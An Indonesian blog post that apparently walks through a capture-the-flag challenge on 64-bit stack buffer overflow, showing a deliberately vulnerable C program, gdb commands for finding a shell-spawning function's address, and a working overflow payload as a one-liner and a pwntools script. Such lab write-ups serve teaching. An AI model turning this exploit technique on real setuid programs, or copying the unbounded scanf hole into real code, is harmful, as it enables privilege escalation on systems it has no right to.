Minggu, 02 Juli 2017

64 Bit Buffer Overflow

untitled

Ini adalah dasar dari buffer overflow untuk binary 64 bit.

Source code dari binary soal adalah

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer); 
 
    printf("Hello %s\n", buffer);
 
    return 0;
}

Kita harus loncat kedalam fungsi callMeMaybe. untuk mengetahui alamat fungsi callmemaybe. Kita gunakan gdbpeda

$ info function

$ pdisas callMeMaybe

setelah mengetahui ukuran offset dan alamat.

(python -c 'from pwn import *; print "A"*280+p64(0x0000555555554810)' ; cat - ) | ./ch35

Dengan menggunakan pwntools

#!/usr/bin/python                                                                                                                                                                                                                              
                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                               
from pwn import *                                                                                                                                                                                                                              
                                                                                                                                                                                                                                               
p = process('./ch35')                                                                                                                                                                                                                         
payload = "A"*280                                                                                                                                                                                                                              
print payload
payload += p64(0x0000555555554810)                                                                                                                                                                                                                   
print payload
p.sendline(payload)                                                                                                                                                                                                                      
p.interactive()

credit : https://asciinema.org/a/87arpybljro97m8fg5ahj832r

Tidak ada komentar:

Posting Komentar